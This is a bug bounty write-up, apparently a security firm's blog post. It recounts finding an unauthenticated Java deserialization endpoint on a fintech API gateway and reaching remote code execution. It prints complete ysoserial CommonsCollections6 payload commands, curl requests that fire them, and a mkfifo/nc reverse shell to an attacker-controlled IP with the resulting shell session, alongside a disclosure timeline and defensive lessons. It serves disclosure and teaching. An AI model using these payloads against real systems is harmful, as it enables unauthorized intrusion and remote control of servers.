It was during a routine bug bounty engagement that we stumbled upon something that made us pause. The target's attack surface was sprawling, the usual collection of production apps, staging environments, and the occasional exposed internal tool. Subdomain enumeration had yielded some predictable results:
api.prod.target.com, dev-v2.target.com, stg.target.com.And then:
gateway-internal.target.comWelcome, dear reader. Let's talk about how a "secure" API management platform became our springboard to pre-authenticated remote code execution.
Initial Discovery
Subdomain Enumeration
Our reconnaissance began as it always does in case of blackbox, passive enumeration followed by active probing using. The target organization, a mid-sized fintech company with a reasonable bug bounty program, had a healthy collection of subdomains.
Bash
$ subfinder -d target.com -silent | httpx -silent -status-code
https://api.prod.target.com [200]
https://dev-v2.target.com [403]
https://stg.target.com [401]
https://gateway-internal.target.com [200]
https://metrics.target.com [401]
[...102 more entries...]The
gateway-internal subdomain immediately caught our attention.A quick visit revealed what appeared to be a custom-built API gateway management interface, think Kong or Tyk, but with the distinctive feel of an in-house dirty solution. The login page proudly displayed: "REDACTED API Gateway v1.2.5".

We filed this away and continued our enumeration.
Technology Fingerprinting
A few HTTP headers later, the picture became clearer:
HTML
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Spring Boot
Content-Type: text/html;charset=UTF-8
Set-Cookie: JSESSIONID=...; Path=/; HttpOnlySpring Boot. Java. Our interest intensified :)
The application's error pages were particularly generous:
Plain Text
Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.
Thu Jan 10 23:23:45 UTC 2026
There was an unexpected error (type=Not Found, status=404).A Whitelabel error page, Spring Boot's default. The developers hadn't bothered to customize it.
This level of attention to detail (or lack thereof) often correlates with other oversights.
API Reconnaissance
Unauthenticated Endpoint Discovery
The login page was a dead end without credentials, but API gateways often expose management endpoints that bypass the web interface. We turned to directory and API path fuzzing using our beloved ffuf:
Bash
$ ffuf -u https://gateway-internal.target.com/FUZZ -w ${WORDLISTS}/api-endpoints.txt -mc 200,301,302,401,403,405,500,502
________________________________________________
:: Method : GET
:: URL : https://gateway-internal.target.com/FUZZ
________________________________________________
actuator [Status: 403]
actuator/health [Status: 403]
actuator/info [Status: 403]
api [Status: 401]
api/v1 [Status: 401]
api/v1/routes [Status: 401]
api/v1/cluster [Status: 200] <- Interesting
api/v1/cluster/sync [Status: 405]
api/v1/cluster/status [Status: 200]Most of the
/api/v1/* endpoints returned 401, requiring authentication. But the cluster-related endpoints? Those returned 200.Nobody needs to be a fortune teller to predict where this is heading.
The Cluster Sync Endpoint
Examining
/api/v1/cluster/status:HTTP
GET /api/v1/cluster/status HTTP/1.1
Host: gateway-internal.target.comJSON
{
"status": "healthy",
"nodeId": "gw-node-e34ab4b2-eu",
"clusterSize": 3,
"lastSync": "2026-01-16T14:20:00Z",
"syncEnabled": true,
"version": "4.2.1"
}A cluster synchronization feature. In distributed systems, cluster sync typically involves serializing state and transmitting it between nodes.
The
/api/v1/cluster/sync endpoint returned 405 Method Not Allowed for GET requests, but what about POST?HTTP
POST /api/v1/cluster/sync HTTP/1.1
Host: gateway-internal.target.com
Content-Type: application/json
Content-Length: 2
{}JSON
{
"error": "Invalid sync payload",
"message": "Expected serialized ClusterState object",
"code": "SYNC_INVALID_PAYLOAD"
}"Expected serialized ClusterState object."
Hmm....Cool!
At this point, we suspected Java serialization. But suspicion isn't evidence. We needed confirmation.
Identifying the Vulnerability
Probing the Serialization Format
The error message mentioned "serialized" but didn't specify the format. Java applications commonly use:
- Native Java serialization (ObjectInputStream)
- JSON (Jackson, Gson)
- XML (XMLDecoder, XStream)
We started with JSON, but received the same error. Then we tried sending Base64-encoded data directly:
HTTP
POST /api/v1/cluster/sync HTTP/1.1
Host: gateway-internal.target.com
Content-Type: application/octet-stream
rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAR0ZXN0The response changed
JSON
{
"error": "Deserialization failed",
"message": "java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to com.gatewayeu.core.cluster.ClusterState",
"code": "SYNC_DESERIALIZE_ERROR"
}Bingo. Several things happened at once:
- The server accepted our Base64-encoded serialized data
- It attempted to deserialize it as a
ClusterStateobject - The error reveals the full class name:
com.gatewayeu.core.cluster.ClusterState - Most importantly: deserialization occurred before the type check
If the application had validated the type before deserializing, we would have received a different error. The fact that it tried to cast our String array to ClusterState means the object was already instantiated.
This is the classic insecure deserialization pattern.
Confirming the Attack Surface
To confirm exploitability, we needed to identify gadget chains available in the classpath. actuator paths were forbidden, so we decided to go with monkeys way, we created an script that will use ysoserial, generate all payloads with oob payloads, and send.
Finally, after 2-3 minutes, we got Commons Collections 6 working. The gift that keeps on giving.
Exploitation
Proof of Concept: Code execution
First, we confirmed basic command execution with a benign payload:
Bash
java --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.management/javax.management=ALL-UNNAMED \
-jar $YSOSERIAL_JAR CommonsCollections6 \
'ping OUR_INFRA_' | base64 -w0 > oob.txt
# fire!
curl -X POST https://gateway-internal.target.com/api/v1/cluster/sync \
-H "Content-Type: application/octet-stream" \
--data-binary @oob.txt
{"error":"Deserialization failed","message":"java.lang.ClassCastException..."}The server returned an error (expected, our gadget chain doesn't produce a ClusterState), but did our command execute? We checked our servers and indeed out-of-band interactions received (maybe it's time for a sweet reverse shell? to confirm this RCE).
As final showdown, we tried to get a interactive reverse shell on gateway via mkfifo technique:
Bash
java --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.management/javax.management=ALL-UNNAMED \
-jar $YSOSERIAL_JAR CommonsCollections6 \
'sh -c $@|sh . echo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc OUR_INFRA_IP 4444 >/tmp/f' \
| base64 -w0 > pwn.txtbrrr....
Bash
curl -isk -X POST --data-binary @pwn.txt -H 'Content-Type: application/octet-stream' https://gateway-internal.target.com/api/v1/cluster/syncJSON
{"error":"Deserialization failed","message":"java.lang.ClassCastException: java.util.HashSet cannot be cast to com.gatewayeu.core.cluster.ClusterState","code":"SYNC_DESERIALIZE_ERROR"}on our listener
Bash
ncat -lvnp 4444
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from TARGET_COM_IP:62543.
sh: 0: can't access tty; job control turned off
$ whoami
gatewayeu
$ hostname
gw-node-euWe stopped right there as per bug bounty policy. The gateway that was supposed to protect their infrastructure had become the doorway in.
This vulnerability presented risk:
- Pre-Authentication: No credentials required to exploit.
- Network Position: API gateways typically have privileged network access to backend services.
- Lateral Movement: Access to internal network segments normally protected by the gateway itself.
Disclosure Timeline
Date | Event |
2026-01-10 | Vulnerability discovered during bug bounty engagement |
2026-01-10 | Initial report submitted via bug bounty platform |
2026-01-13 | security team acknowledged receipt |
2026-01-14 | security team confirmed vulnerability and began remediation |
2026-01-14 | Hotfix deployed to remove public endpoint exposure |
2026-01-15 | Full patch released in version v1.2.7 |
2026-01-18 | Public disclosure |
Final Thoughts
There you have it, dear reader. An enterprise API gateway, the very infrastructure designed to protect backend services, turned into a pre-authenticated entry point through a decade-old vulnerability class.
The chain was straightforward once identified:
- Subdomain enumeration revealed an gateway interface.
- API fuzzing discovered unauthenticated cluster management endpoints.
- Error message analysis confirmed Java deserialization.
- fuzzed for right vulnerable libraries.
- Standard gadget chains achieved RCE via YsoSerial.
This vulnerability existed not because of a single mistake, but because of compounding oversights:
- Public exposure of administrative interfaces.
- Missing authentication on internal endpoints.
- Verbose error messages leaking implementation details.
- Outdated dependencies with known vulnerabilities.
The technical TL;DR:
- When you find Java-based infrastructure (gateways, proxies, orchestrators), look for cluster/sync/backup endpoints.
- always play with request methods, content types header and request body.
- Unauthenticated endpoints that accept "serialized" data are high-priority targets.
Until next time, may your subdomains be interesting and your callbacks be plentiful, Haha :)
Article published by Principle Breach
Further action
If this affects something you run, the detail above is enough to check it yourself. If you would rather have this class of issue hunted across your own environment, that is what we do as an engagement.